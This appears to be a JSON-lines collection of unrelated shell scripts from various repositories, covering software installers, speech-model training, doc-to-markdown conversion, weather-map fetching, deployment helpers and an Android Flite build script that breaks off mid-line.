$JARVIS_DIR_ROOT/etc/nginx/htpasswd\nfi\n\necho\n\n# Docker-compose up\n\nif [ -e $JARVIS_DOCKER_COMPOSE_FILE ]; then\n echo \"Starting up Jarvis containers\"\n JARVIS_DIR_ROOT=$JARVIS_DIR_ROOT docker-compose -f $JARVIS_DOCKER_COMPOSE_FILE up -d\nelse\n echo \"Error! Could not find docker-compose file\"\n exit 1\nfi\n\n# TODO: Should go ahead and install cli too?\n\necho; echo;\necho \"Jarvis installation done!\""} {"text": "# leave ssh disabled at first, do this from the console\n# vi /etc/ssh/sshd_config\n# service sshd restart\n# edit sshd_config to enable whatever ports and options are needed\n\n# install iptables and disable firewalld\nyum install iptables\nsystemctl disable firewalld\nsystemctl stop firewalld\nyum install wget\nyum install ipset\n\n# wget the update_firewall_centos.sh from somewhere\n# uncomment the get zones commands in the firewall script\n# then run the script to update iptables\n# consider putting it in cron to run on reboot, else use iptables-persistent or similar\n\n# next line assumes you have the script already local\n./update_firewall_centos.sh\n\n# install other repos which are useful, and the keys needed to use them\nyum install epel-release\nrpm --import http://li.nux.ro/download/nux/RPM-GPG-KEY-nux.ro\nrpm -Uvh http://li.nux.ro/download/nux/dextop/el7/x86_64/nux-dextop-release-0-1.el7.nux.noarch.rpm\n\n# install X Windows and a GUI DE\nyum groupinstall \"X Window system\"\nyum groupinstall \"MATE Desktop\"\n# (or GNOME or whatever instead of MATE if desired)\n\n# enable the GUI to start automatically\nsystemctl isolate graphical.target\nsystemctl set-default graphical.target\n\n# install some other useful stuff, some of which are in the added repos above\nyum install gnome-disk-utility\nyum install tigervnc-server\nyum install tigervnc-server-module\nyum install xrdp\nyum install rdesktop\n\n# enable rdp and set the selinux contexts so it works\n# might also have to do some xrdp config file edits\nsystemctl start xrdp.service\nsystemctl enable xrdp.service\nchcon --type=bin_t /usr/sbin/xrdp\nchcon --type=bin_t /usr/sbin/xrdp-sesman"} {"text": "#!/bin/bash -u\n\n. ./cmd.sh\n. ./path.sh\n\n# DNN training. This script is based on egs/swbd/s5b/local/run_dnn.sh\n# \n\nif [ $# -ne 1 ]; then\n printf \"\\nUSAGE: %s \\n\\n\" `basename $0`\n exit 1;\nfi\n\nmic=$1\nfinal_lm=`cat data/local/lm/final_lm`\nLM=$final_lm.pr1-7\n\nfor lm_suffix in $LM; do\n# Config:\ngmmdir=exp/$mic/tri4a\ngraph_dir=exp/$mic/tri4a/graph_${lm_suffix}\ndata_fmllr=data-fmllr-tri4\nstage=0 # resume training with --stage=N\n# End of config.\n. utils/parse_options.sh || exit 1;\n#\n\nif [ $stage -le 0 ]; then\n # Store fMLLR features, so we can train on them easily,\n # test\n dir=$data_fmllr/$mic/eval\n steps/nnet/make_fmllr_feats.sh --nj 1 --cmd \"$train_cmd\" \\\n --transform-dir $gmmdir/decode_eval_${lm_suffix} \\\n $dir data/$mic/eval $gmmdir $dir/log $dir/data || exit 1\n # dev\n dir=$data_fmllr/$mic/dev\n steps/nnet/make_fmllr_feats.sh --nj 1 --cmd \"$train_cmd\" \\\n --transform-dir $gmmdir/decode_dev_${lm_suffix} \\\n $dir data/$mic/dev $gmmdir $dir/log $dir/data || exit 1\n # train\n dir=$data_fmllr/$mic/train\n steps/nnet/make_fmllr_feats.sh --nj 1 --cmd \"$train_cmd\" \\\n --transform-dir ${gmmdir}_ali \\\n $dir data/$mic/train $gmmdir $dir/log $dir/data || exit 1\n # split the data : 90% train 10% cross-validation (held-out)\n utils/subset_data_dir_tr_cv.sh $dir ${dir}_tr90 ${dir}_cv10 || exit 1\nfi\n\nif [ $stage -le 1 ]; then\n # Pre-train DBN, i.e. a stack of RBMs\n dir=exp/$mic/dnn4_pretrain-dbn\n (tail --pid=$$ -F $dir/log/pretrain_dbn.log 2>/dev/null)& # forward log\n $cuda_cmd $dir/log/pretrain_dbn.log \\\n steps/nnet/pretrain_dbn.sh --rbm-iter 1 $data_fmllr/$mic/train $dir || exit 1;\nfi\n\nif [ $stage -le 2 ]; then\n # Train the DNN optimizing per-frame cross-entropy.\n dir=exp/$mic/dnn4_pretrain-dbn_dnn\n ali=${gmmdir}_ali\n feature_transform=exp/$mic/dnn4_pretrain-dbn/final.feature_transform\n dbn=exp/$mic/dnn4_pretrain-dbn/6.dbn\n (tail --pid=$$ -F $dir/log/train_nnet.log 2>/dev/null)& # forward log\n # Train\n $cuda_cmd $dir/log/train_nnet.log \\\n steps/nnet/train.sh --feature-transform $feature_transform --dbn $dbn --hid-layers 0 --learn-rate 0.008 \\\n $data_fmllr/$mic/train_tr90 $data_fmllr/$mic/train_cv10 data/lang $ali $ali $dir || exit 1;\n # Decode (reuse HCLG graph)\n steps/nnet/decode.sh --nj 6 --cmd \"$decode_cmd\" --config conf/decode_dnn.conf --acwt 0.1 \\\n --num-threads 3 \\\n $graph_dir $data_fmllr/$mic/dev $dir/decode_dev_${lm_suffix} || exit 1;\n steps/nnet/decode.sh --nj 6 --cmd \"$decode_cmd\" --config conf/decode_dnn.conf --acwt 0.1 \\\n --num-threads 3 \\\n $graph_dir $data_fmllr/$mic/eval $dir/decode_eval_${lm_suffix} || exit 1;\nfi\n\n# Sequence training using sMBR criterion, we do Stochastic-GD \n# with per-utterance updates. We use usually good acwt 0.1\n# Lattices are re-generated after 1st epoch, to get faster convergence.\ndir=exp/$mic/dnn4_pretrain-dbn_dnn_smbr\nsrcdir=exp/$mic/dnn4_pretrain-dbn_dnn\nacwt=0.1\n\nif [ $stage -le 3 ]; then\n # First we generate lattices and alignments:\n steps/nnet/align.sh --nj 6 --cmd \"$train_cmd\" \\\n $data_fmllr/$mic/train data/lang $srcdir ${srcdir}_ali || exit 1;\n steps/nnet/make_denlats.sh --nj 6 --cmd \"$decode_cmd\" --config conf/decode_dnn.conf \\\n --acwt $acwt $data_fmllr/$mic/train data/lang $srcdir ${srcdir}_denlats || exit 1;\nfi\n\nif [ $stage -le 4 ]; then\n # Re-train the DNN by 1 iteration of sMBR \n steps/nnet/train_mpe.sh --cmd \"$cuda_cmd\" --num-iters 1 --acwt $acwt --do-smbr true \\\n $data_fmllr/$mic/train data/lang $srcdir ${srcdir}_ali ${srcdir}_denlats $dir || exit 1\n # Decode (reuse HCLG graph)\n for ITER in 1; do\n steps/nnet/decode.sh --nj 6 --cmd \"$decode_cmd\" --config conf/decode_dnn.conf \\\n --num-threads 3 \\\n --nnet $dir/${ITER}.nnet --acwt $acwt \\\n $graph_dir $data_fmllr/$mic/dev $dir/decode_dev_${lm_suffix} || exit 1;\n steps/nnet/decode.sh --nj 6 --cmd \"$decode_cmd\" --config conf/decode_dnn.conf \\\n --num-threads 3 \\\n --nnet $dir/${ITER}.nnet --acwt $acwt \\\n $graph_dir $data_fmllr/$mic/eval $dir/decode_eval_${lm_suffix} || exit 1;\n done \nfi\n\n# Re-generate lattices, run 4 more sMBR iterations\ndir=exp/$mic/dnn4_pretrain-dbn_dnn_smbr_i1lats\nsrcdir=exp/$mic/dnn4_pretrain-dbn_dnn_smbr\nacwt=0.1\n\nif [ $stage -le 5 ]; then\n # First we generate lattices and alignments:\n steps/nnet/align.sh --nj 6 --cmd \"$train_cmd\" \\\n $data_fmllr/$mic/train data/lang $srcdir ${srcdir}_ali || exit 1;\n steps/nnet/make_denlats.sh --nj 6 --cmd \"$decode_cmd\" --config conf/decode_dnn.conf \\\n --acwt $acwt $data_fmllr/$mic/train data/lang $srcdir ${srcdir}_denlats || exit 1;\nfi\n\nif [ $stage -le 6 ]; then\n # Re-train the DNN by 1 iteration of sMBR \n steps/nnet/train_mpe.sh --cmd \"$cuda_cmd\" --num-iters 4 --acwt $acwt --do-smbr true \\\n $data_fmllr/$mic/train data/lang $srcdir ${srcdir}_ali ${srcdir}_denlats $dir || exit 1\n # Decode (reuse HCLG graph)\n for ITER in 1 2 3 4; do\n steps/nnet/decode.sh --nj 6 --cmd \"$decode_cmd\" --config conf/decode_dnn.conf \\\n --num-threads 3 \\\n --nnet $dir/${ITER}.nnet --acwt $acwt \\\n $graph_dir $data_fmllr/$mic/dev $dir/decode_dev_${lm_suffix}_$ITER || exit 1;\n steps/nnet/decode.sh --nj 6 --cmd \"$decode_cmd\" --config conf/decode_dnn.conf \\\n --num-threads 3 \\\n --nnet $dir/${ITER}.nnet --acwt $acwt \\\n $graph_dir $data_fmllr/$mic/eval $dir/decode_eval_${lm_suffix}_$ITER || exit 1;\n done \nfi\n\ndone\n# Getting results [see RESULTS file]\n# for x in exp/$mic/*/decode*; do [ -d $x ] && grep WER $x/wer_* | utils/best_wer.sh; done"} {"text": "tabulon-ext/modernish\n#! /usr/bin/env modernish\n#! use safe -k\n#! use sys/cmd/harden\n#! use var/loop/find -B\n#! use sys/base/mktemp\nharden cat\nharden -e '>1' cmp\nharden paste\nharden LC_ALL=C sed\nharden LC_ALL=C sort\n\n# This is a helper script I use to maintain the 'unalias' commands at the top\n# of every lib/modernish/mdl/**/*.mm module file. They are mainly inserted for\n# the benefit of interactive shell users, where aliases are not unlikely to\n# interfere with function definitions, causing spurious syntax errors.\n# Ref.: https://github.com/modernish/modernish/issues/5\n#\n# This script greps function names in module files, sorts them, and combines\n# them on one line. Without options, it adds or updates unalias commands on the\n# second line of each module file, only updating the file if something actually\n# changed. With the -r option, it removes these unalias commands.\n#\n# It is a nice demonstration of the use of the 'find' loop, as well as the\n# auto-cleanup option of modernish 'mktemp'.\n\n# --- Parse options ---\nshowusage() { putln \"Usage: $ME [ -r ]\" \"See comments in script for info.\"; }\nunset -v opt_r\nwhile getopts 'r' opt; do\n\tcase $opt in\n\t( r )\topt_r= ;;\n\t( * )\texit -u 1 ;;\n\tesac\ndone\nshift $((OPTIND-1))\nlet $# && exit -u 1 'Excess arguments.'\n\n# --- Make sure we're in a modernish tree ---\nmdl_reldir=${MSH_MDL#\"$MSH_PREFIX/\"}\nis dir $mdl_reldir || chdir $MSH_PREFIX\nputln \"Updating unalias for modules in $PWD/$mdl_reldir\"\n\n# --- Prepare temp file ---\nmktemp -sCCt unalias_update\t# 2x -C = auto-cleanup even on Ctrl+C\nmytempfile=$REPLY\n\n# --- Main loop ---\nchanged=0 total=0\nLOOP find modulefile in $mdl_reldir -type f -name *.mm; DO\n\tlet \"total += 1\"\n\t# Eliminate comments, get function names from lines like \"funcname() {\",\n\t# as well as alias names from lines like 'alias name=...',\n\t# and make make \"_\" sort last (change to \"~\").\n\tfn_al_names=$(\n\t\texport LC_ALL=C\n\t\tsed -n 's/#.*//\n\t\t\t/[[:alpha:]_][[:alnum:]_]*()[[:blank:]]*[{(]/ {\n\t\t\t\th\n\t\t\t\ts/().*//\n\t\t\t\ts/^.*[^[:alnum:]_]//\n\t\t\t\ts/^_/~/\n\t\t\t\tp\n\t\t\t\tg\n\t\t\t}\n\t\t\t/alias[[:blank:]]\\{1,\\}[[:alnum:]_!%,@]\\{1,\\}=/ {\n\t\t\t\ts/^.*alias //\n\t\t\t\ts/=.*//\n\t\t\t\ts/^_/~/\n\t\t\t\tp\n\t\t\t}' $modulefile |\n\t\tsort -u |\n\t\tsed 's/^~/_/' |\n\t\tpaste -s -d ' ' -\t# combine on one line\n\t)\n\tstr empty $fn_al_names && continue\n\tif isset opt_r; then\n\t\tmessage=\"- Removing unalias from $PWD/$modulefile\"\n\t\tscript=\"2 { /^\\\\\\\\command unalias/ d; }\"\n\telse\n\t\tmessage=\"- Updating $PWD/$modulefile:${CCn} $fn_al_names\"\n\t\tscript=\"2 i\\\\${CCn}\\\\\\\\command unalias $fn_al_names 2>/dev/null\n\t\t\t2 { /^\\\\\\\\command unalias/ d; }\"\n\tfi\n\t# (The >| operator bypasses the safe mode's noclobber check: we *want*\n\t# to overwrite. Redirections cannot be covered by 'harden', so check.)\n\tsed $script $modulefile >| $mytempfile || die\n\tif ! cmp -s $modulefile $mytempfile; then\n\t\tputln $message\n\t\tcat $mytempfile >| $modulefile || die\n\t\tlet \"changed += 1\"\n\tfi\nDONE\nputln \"$changed out of $total modules updated.\""} {"text": "nathanpc/currentflow.net\n#!/bin/bash\n\n### copy_index.sh\n### Creates the main website index.html by copying the first page.\n###\n### Author: <>\n\noutfolder=$(./bin/get_config.pl 'folders/output')\necho -e \"\\e[34mGenerating the main page...\\e[0m\"\necho -n \" index.html \"\ncp \"$outfolder/page/1/index.html\" \"$outfolder/index.html\"\necho -e \"\\e[32mOK\\e[0m\""} {"text": "#!/bin/sh\n\n(\n declare -i p\n trap 'kill \"$p\"' EXIT\n while true; do\n stack exec paragon-optimization & p=$!\n notify-send \"Server started\" --urgency=critical\n inotifywait -q -e create .stack-work/install/*/*/*/bin/\n sleep 1\n kill \"$p\"\n done\n)"} {"text": "#!/bin/bash\n\nset -e\n\n# Setup\nINPUT=$1\nFILES_DIR=${2%/} # strips trailing slash\nDOC_TO_MD_DIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\nLIBS=\"$DOC_TO_MD_DIR/libs\"\nTEMP=\"$DOC_TO_MD_DIR/tmp\"\nNODE_BIN=\"$DOC_TO_MD_DIR/node_modules/.bin\"\n\nif [ -f ~/doc_to_html.html ]; then\n echo \"~/doc_to_html.html already exists\" >&2\n exit 1\nfi\n\n# Remove temp dir\nrm -rf $TEMP >&2\n\n# Re-add temp dir\nmkdir $TEMP >&2\ncp $INPUT $TEMP\n\n# Convert to HTML -> ~/doc_to_html.html\nINPUT_FILE=`ls $TEMP/*.doc*`\necho \"CONVERTING TO HTML: \" $INPUT_FILE \" -> \" ~/doc_to_html.html >&2\nautomator -i $INPUT_FILE $DOC_TO_MD_DIR/doc-to-html.app >&2\n\n# Move from home dir -> 1_doc_to_html.html\necho \"MOVING FROM HOME DIR TO TEMP DIR \" ~/doc_to_html.html \" -> \" $TEMP/1_doc_to_html.html >&2\nmv ~/doc_to_html.html $TEMP/1_doc_to_html.html\nmv ~/doc_to_html_files $TEMP\n\n# Encode characters -> 2_document_encoded_and_with_delimiters_and_vml_images.html\necho \"ENCODING UTF-8 CHARACTERS \" $TEMP/1_doc_to_html.html \" -> \" $TEMP/2_document_encoded_and_with_delimiters_and_vml_images.html >&2\n$NODE_BIN/coffee $DOC_TO_MD_DIR/2-encode-utf8-and-add-delimiters-and-vml-images.coffee < $TEMP/1_doc_to_html.html > $TEMP/2_document_encoded_and_with_delimiters_and_vml_images.html\n\n# Convert to XML -> 3_document.xml\necho \"CONVERTING TO XML \" $TEMP/2_document_encoded_and_with_delimiters_and_vml_images.html \" -> \" $TEMP/3_document.xml >&2\njava -jar $LIBS/tagsoup-1.2.1.jar --lexical $TEMP/2_document_encoded_and_with_delimiters_and_vml_images.html > $TEMP/3_document.xml\n\n# Convert equations to MathML -> 4_document_with_equations.xml\necho \"CONVERTING EQUATIONS TO MATHML\" $TEMP/3_document.xml \" -> \" $TEMP/4_document_with_equations.xml >&2\njava -jar $LIBS/saxon8.jar -o $TEMP/4_document_with_equations.xml $TEMP/3_document.xml $LIBS/xhtml-mathml.xsl >&2\n\n# Hiding equations -> 5_document_with_hidden_equations_and_cleaned_breaks.xml\necho \"HIDING EQUATIONS\" $TEMP/4_document_with_equations.xml \" -> \" $TEMP/5_document_with_hidden_equations_and_cleaned_breaks.xml >&2\n$NODE_BIN/coffee $DOC_TO_MD_DIR/5-hide-math-and-cleanup-breaks.coffee < $TEMP/4_document_with_equations.xml > $TEMP/5_document_with_hidden_equations_and_cleaned_breaks.xml\n\n# Convert and tidy to HTML again -> 6_document.html\necho \"CONVERTING TO TIDY HTML\" $TEMP/5_document_with_hidden_equations_and_cleaned_breaks.xml \" -> \" $TEMP/6_document.html >&2\nset +e\ntidy -config $DOC_TO_MD_DIR/tidy-config.txt -output $TEMP/6_document.html $TEMP/5_document_with_hidden_equations_and_cleaned_breaks.xml >&2\nif [ $? -eq 2 ]; then\n echo \"Tidy failed\" >&2\n exit 1\nfi\nset -e\n\n# Unhiding equations -> 7_document_with_unhidden_equations.html\necho \"UNHIDING EQUATIONS\" $TEMP/6_document.html \" -> \" $TEMP/7_document_with_unhidden_equations.html >&2\n$NODE_BIN/coffee $DOC_TO_MD_DIR/7-unhide-math.coffee < $TEMP/6_document.html > $TEMP/7_document_with_unhidden_equations.html\n\n# Convert to markdown -> 8_document.md\necho \"CONVERTING TO MARKDOWN\" $TEMP/7_document_with_unhidden_equations.html \" -> \" $TEMP/8_document.md >&2\npandoc -f html -t markdown_strict --normalize -R --atx-headers -o $TEMP/8_document.md < $TEMP/7_document_with_unhidden_equations.html >&2\n\n# Cleaning up markdown -> 9_document_clean.md\necho \"CLEANING UP MARKDOWN\" $TEMP/8_document.md \" -> \" $TEMP/9_document-clean.md >&2\n$NODE_BIN/coffee $DOC_TO_MD_DIR/9-cleanup-markdown.coffee < $TEMP/8_document.md > $TEMP/9_document_clean.md\n\nif [ $FILES_DIR ]; then\n\techo \"COPYING FILES TO \" $FILES_DIR >&2\n rm -rf $FILES_DIR\n mkdir $FILES_DIR\n\tcp $TEMP/doc_to_html_files/* $FILES_DIR\nfi\n\n# Output\ncat $TEMP/9_document_clean.md | sed s/doc_to_html_files/$FILES_DIR/g"} {"text": "jcm007/vertx-zero\n#!/usr/bin/env bash\n\ndocker stop ox_es\ndocker stop ox_tidb\ndocker stop ox_neo4j"} {"text": "#!/bin/bash\n\necho \"***Bootstrappin' the system!***\"\napt-get update\n\necho \"Installing build packages\"\napt-get install -q -y git-core build-essential zlib1g-dev libssl-dev libreadline5-dev wget\n\necho \"Removing Ruby from apt\"\napt-get remove -q -y ^ruby*\n\nPREFIX=\"/usr\"\nREE=\"ruby-enterprise-1.8.6-20090421\"\n\nif [ `which ruby` ]; then\n\n echo \"Ruby already installed.\"\n\nelse\n\n echo \"Installing Ruby\"\n\n pushd /tmp\n echo \"Downloading REE\"\n wget -q http://rubyforge.org/frs/download.php/55511/$REE.tar.gz\n echo \"Untar REE\"\n tar xzf $REE.tar.gz\n pushd $REE/\n\n echo \"Running installer\"\n ./installer --dont-install-useful-gems -a $PREFIX\n\n echo \"Cleaning up REE download\"\n popd\n rm -rf $REE*\n popd\n\nfi\n\necho \"Installing Rake\"\ngem install rake --no-rdoc --no-ri\n\necho \"Installing Shadow Puppet\"\ngem install shadow_puppet --no-rdoc --no-ri"} {"text": "#!/bin/bash\n#https://www.hackerrank.com/challenges/text-processing-in-linux-the-sed-command-1/problem\n\nsed -e 's/\\bthe\\b/this/'"} {"text": "#!/bin/bash\nfile1=1.out\nfile2=2.out\nfile3=3.out\nfile4=4.out\nfile5=5.out\nfile6=6.out\nfile7=7.out\nfile8=8.out\nfile9=9.out\nrm -f *.out\ntestFile=../../evaluation/scripts/input/10M.txt\nbatchSize=100000\nmkfifo $file1\nmkfifo $file2\nmkfifo $file3\nmkfifo $file4\n# mkfifo $file5\n\nmkfifo $file7\nmkfifo $file8\nmkfifo $file9\n\n# mkfifo $file6\n# cat $testFile > $file9 &\n# ../auto-split.sh $file9 $file1 $file2 &\n# grep '\\(.\\).*\\1\\(.\\).*\\2\\(.\\).*\\3\\(.\\).*\\4' < $file3 > $file4 &\n# grep '\\(.\\).*\\1\\(.\\).*\\2\\(.\\).*\\3\\(.\\).*\\4' < $file2 > $file6 &\n# ../eager.sh $file1 $file3 temp &\n# ../eager.sh $file6 $file7 temp2 &\n# cat $file4 $file7 > $file5\n\n../r_split $testFile $batchSize $file1 $file2 $file7 &\n\n../r_wrap grep '\\(.\\).*\\1\\(.\\).*\\2\\(.\\).*\\3\\(.\\).*\\4' < $file1 > $file3 &\n../r_wrap grep '\\(.\\).*\\1\\(.\\).*\\2\\(.\\).*\\3\\(.\\).*\\4' < $file2 > $file4 &\n../r_wrap grep '\\(.\\).*\\1\\(.\\).*\\2\\(.\\).*\\3\\(.\\).*\\4' < $file7 > $file8 &\n\n../r_merge $file3 $file4 $file8> $file5\n\n# cat $testFile | grep '\\(.\\).*\\1\\(.\\).*\\2\\(.\\).*\\3\\(.\\).*\\4' > $file6\n# if cmp -s \"$file6\" \"$file5\"; then\n# printf 'The file \"%s\" is the same as \"%s\"\\n' \"$file6\" \"$file5\"\n# else\n# printf 'The file \"%s\" is different from \"%s\"\\n' \"$file6\" \"$file5\"\n# fi\n\n# rm -rf *out"} {"text": "dist/weather_radar.sh\n#!/bin/bash\ncd /home/homeassistant/.homeassistant/www/weather_card\n\ncurl -s -o \"dmv-weather.png\" \"https://s.w-x.co/staticmaps/wu/wu/wxtype1200_cur/usshd/animate.png\"\ncurl -s -o \"sat-weather.png\" \"https://s.w-x.co/staticmaps/wu/wu/wxtype1200_cur/ussat/animate.png\"\n\n#create the gif\n/home/homeassistant/.homeassistant/gifsicle-static -O3 --colors 132 --lossy=1500 -o /home/homeassistant/.homeassistant/www/weather_card/weather_map_sat.gif sat-weather.png\n/home/homeassistant/.homeassistant/gifsicle-static -O3 --colors 132 --lossy=1500 -o /home/homeassistant/.homeassistant/www/weather_card/weather_map_dmv.gif dmv-weather.png\n\n#reduce the size of gif\nmogrify -size 1200x875 -resize 492x359 *.gif\n\n#create mp4\nffmpeg -f gif -i sat-weather.png -pix_fmt yuv420p -c:v libx264 -preset veryslow -tune animation -profile:v baseline -crf 34 -movflags +faststart -filter:v crop='floor(in_w/2)*2:floor(in_h/2)*2' weather_map_sat.mp4 -y\n\nffmpeg -f gif -i dmv-weather.png -pix_fmt yuv420p -c:v libx264 -preset veryslow -tune animation -profile:v baseline -crf 34 -movflags +faststart -filter:v crop='floor(in_w/2)*2:floor(in_h/2)*2' weather_map_dmv.mp4 -y\n\n\n#remove the original files\nrm sat-weather.png\nrm dmv-weather.png\n\n\n#return the original folder\ncd /home/homeassistant/.homeassistant/includes/"} {"text": "cd core\nsbt -Dver=12.1.4.0.1 \"publish-local\" \ncd ..\ncd api\nsbt -Dver=12.1.4.0.1 \"publish-local\" \ncd .."} {"text": "coinse/FSE2021-IVR-BIC\nPID=$1\nVID=$2\nBIC=$3\ndefects4j checkout -p ${PID} -v ${VID}b -w /tmp/${PID}-${VID}b-check\ncd /tmp/${PID}-${VID}b-check\ndefects4j export -p classes.relevant -o classes.relevant\ndefects4j export -p tests.trigger -o tests.trigger.expected\ndefects4j export -p dir.src.classes -o dir.src.classes\ndefects4j test\nmv failing_tests failing_tests.original\ngit format-patch ${BIC} --stdout > d4j.patch\ngit checkout ${BIC}\ngit apply d4j.patch\ngit checkout -- $(cat dir.src.classes)\n#cat tests.trigger.expected"} {"text": "figlet HiveKit V.1.0.1 STABLE -c -k\ngit pull\npython3 hive.py > log.txt"} {"text": "#!/usr/bin/env bash\nset -eou pipefail\n\nIPLIST_URL=https://www.cloudflare.com/ips-v4\nNGINX_CONFIG_LOCATION=\"{{ cloudflare_nginx_config }}\"\n\ngenerate_nginx_config() {\n local list=$1;\n local ip;\n for ip in $list;do\n echo \"set_real_ip_from ${ip};\"\n done\n}\n\nupdate_nginx_config() {\n local iplist;\n local config_content;\n local current_config;\n\n iplist=\"$(curl -sfL \"${IPLIST_URL}\")\"\n config_content=\"$(generate_nginx_config \"${iplist}\")\"\n if [ -f \"$NGINX_CONFIG_LOCATION\" ];then\n current_config=\"$(cat ${NGINX_CONFIG_LOCATION})\"\n if [ \"${current_config}\" = \"${config_content}\" ];then\n echo \"Cloudflare configuration up to date\"\n return\n fi\n fi\n\n echo \"Updating cloudflare configuration\"\n echo \"${config_content}\" > \"$NGINX_CONFIG_LOCATION\"\n echo \"Reloading nginx\"\n systemctl reload nginx\n}\n\nupdate_nginx_config"} {"text": "STAGE=${1:-sample}\n\n# Helm can only access files within its chart folder, so copy them here.\nrm -rf deploy/kubernetes/idv/config\ncp -r config deploy/kubernetes/idv/config\n\nexport MONGODB_ROOT_PASSWORD=$(kubectl get secret --namespace ${NAMESPACE} mongodb -o jsonpath=\"{.data.mongodb-root-password}\" | base64 --decode)\n\n\ncd deploy/kubernetes/idv || exit\nhelm upgrade --install ${RELEASE} . --namespace ${NAMESPACE} -f values.yaml -f values.${STAGE}.yaml --set mongodb.auth.rootPassword=$MONGODB_ROOT_PASSWORD --debug"} {"text": "Flite-TTS-Engine-for-Android/build.sh\n#!/bin/sh\nFLITE_APP_DIR=\"$(dirname $(readlink -f \"$0\"))\"\nFLITE_BUILD_DIR=\"${FLITE_APP_DIR}/flite\"\nFLITE_ARCHIVE_URL=\"http://www.festvox.org/flite/packed/flite-2.0/flite-2.0.0-release.tar.bz2\"\nFLITE_ARCHIVE_MD5=\"645db96ffc296cbb6d37f231cc1cc6b2\"\nFLITE_ARCHIVE_NAM=\"$(basename \"${FLITE_ARCHIVE_URL}\")\"\nFLITE_ARCHIVE_DIR=\"$(basename \"${FLITE_ARCHIVE_URL}\" .tar.bz2)\"\n\nFLITE_PATCH='\n--- flite-2.0.0-release/configure.in\t2014-12-09 22:39:01.000000000 +0100\n+++ flite-2.0.0-release.new/configure.in\t2016-06-15 12:36:53.543619329 +0200\n@@ -151,16 +151,22 @@\n # http://developer.android.com/sdk/ndk/index.html\n \t\tshared=false\n \n+\t\tif test -z \"${ANDROID_NDK}\";\n+\t\tthen\n+\t\t\tANDROID_NDK=\"${ANDROID_NDK_HOME}\"\n+\t\tfi\n+\n \t\t# We target our compilation to android-14 (4.0) platform\n \t\tANDROID_NDK_PLATFORM_PATH=\"$ANDROID_NDK/platforms/android-14\"\n \n-\t\tANDROID_GCC_VERSION=4.6\n+\t\tANDROID_GCC_ARCH=\"$(uname -m)\"\n+\t\tANDROID_GCC_VERSION=4.9\n \n \t\tif test \"$target_cpu\" = \"armeabi\" \n then\n \t\t ANDROID_TOOLCHAIN=\"arm-linux-androideabi-$ANDROID_GCC_VERSION\"\n \t\t ANDROID_NDK_SYSROOT=\"$ANDROID_NDK_PLATFORM_PATH/arch-arm\"\n-\t\t ANDROIDBIN=\"$ANDROID_NDK/toolchains/arm-linux-androideabi-$ANDROID_GCC_VERSION/prebuilt/linux-x86/bin/arm-linux-androideabi\"\n+\t\t ANDROIDBIN=\"$ANDROID_NDK/toolchains/arm-linux-androideabi-$ANDROID_GCC_VERSION/prebuilt/linux-$ANDROID_GCC_ARCH/bin/arm-linux-androideabi\"\n \t\t CFLAGS=\"$CFLAGS -fpic -mthumb -O3 -DANDROID --sysroot=$ANDROID_NDK_SYSROOT\"\n fi\n \n@@ -168,7 +174,7 @@\n then\n \t\t ANDROID_TOOLCHAIN=\"arm-linux-androideabi-$ANDROID_GCC_VERSION\"\n \t\t ANDROID_NDK_SYSROOT=\"$ANDROID_NDK_PLATFORM_PATH/arch-arm\"\n-\t\t ANDROIDBIN=\"$ANDROID_NDK/toolchains/arm-linux-androideabi-$ANDROID_GCC_VERSION/prebuilt/linux-x86/bin/arm-linux-androideabi\"\n+\t\t ANDROIDBIN=\"$ANDROID_NDK/toolchains/arm-linux-androideabi-$ANDROID_GCC_VERSION/prebuilt/linux-$ANDROID_GCC_ARCH/bin/arm-linux-androideabi\"\n \t\t CFLAGS=\"$CFLAGS -fpic -march=armv7-a -mfloat-abi=softfp -O3 -DANDROID --sysroot=$ANDROID_NDK_SYSROOT\"\n \t\t LDFLAGS=\"$LDFLAGS -Wl,--fix-cortex-a8\"\n fi\n@@ -177,7 +183,7 @@\n \t\tthen\n \t\t ANDROID_TOOLCHAIN=\"x86-$ANDROID_GCC_VERSION\"\n \t\t ANDROID_NDK_SYSROOT=\"$ANDROID_NDK_PLATFORM_PATH/arch-x86\"\n-\t\t ANDROIDBIN=\"$ANDROID_NDK/toolchains/x86-$ANDROID_GCC_VERSION/prebuilt/linux-x86/bin/i686-linux-android\"\n+\t\t ANDROIDBIN=\"$ANDROID_NDK/toolchains/x86-$ANDROID_GCC_VERSION/prebuilt/linux-$ANDROID_GCC_ARCH/bin/i686-linux-android\"\n \t\t CFLAGS=\"$CFLAGS -fpic -O3 -DANDROID --sysroot=$ANDROID_NDK_SYSROOT\"\n \t\tfi\n \n@@ -185,7 +191,7 @@\n \t\tthen\n \t\t ANDROID_TOOLCHAIN=\"mipsel-linux-android-$ANDROID_GCC_VERSION\"\n \t\t ANDROID_NDK_SYSROOT=\"$ANDROID_NDK_PLATFORM_PATH/arch-mips\"\n-\t\t ANDROIDBIN=\"$ANDROID_NDK/toolchains/mipsel-linux-android-$ANDROID_GCC_VERSION/prebuilt/linux-x86/bin/mipsel-linux-android\"\n+\t\t ANDROIDBIN=\"$ANDROID_NDK/toolchains/mipsel-linux-android-$ANDROID_GCC_VERSION/prebuilt/linux-$ANDROID_GCC_ARCH/bin/mipsel-linux-android\"\n \t\t CFLAGS=\"$CFLAGS -fpic -O3 -DANDROID --sysroot=$ANDROID_NDK_SYSROOT\"\n \t\tfi\n';\n\n# Abort after first error\nset -e\nOLDPWD=\"${PWD}\"\n\n# Check for required environment vairables\nHAVE_REQUIRED_ENVS=true\n\nif [ -z \"${ANDROID_NDK}\" ] && [ -z \"${ANDROID_NDK_HOME}\" ];\nthen\n\techo \"Missing Android NDK path environment variable: ANDROID_NDK / ANDROID_NDK_HOME\" >&2\n\tHAVE_REQUIRED_ENVS=false\nfi\n\nif [ -z \"${ANDROID_SDK}\" ] && [ -z \"${ANDROID_HOME}\" ];\nthen\n\techo \"Missing Android SDK path environment variable: ANDROID_SDK / ANDROID_HOME\" >&2\n\tHAVE_REQUIRED_ENVS=false\nfi\n\nif ! ${HAVE_REQUIRED_ENVS};\nthen\n\texit 1\nfi\n\nexport FLIGHT_APP_DIR\n\n# Download and patch flight, unless it was provided\nif [ -z \"${FLITEDIR}\" ];\nthen\n\t# Check if the actual `flight` build directory exists\n\tflite_directory=\"${FLITE_BUILD_DIR}/${FLITE_ARCHIVE_DIR}\"\n\tif ! [ -d \"${flite_directory}\" ];\n\tthen\n\t\tmkdir -p 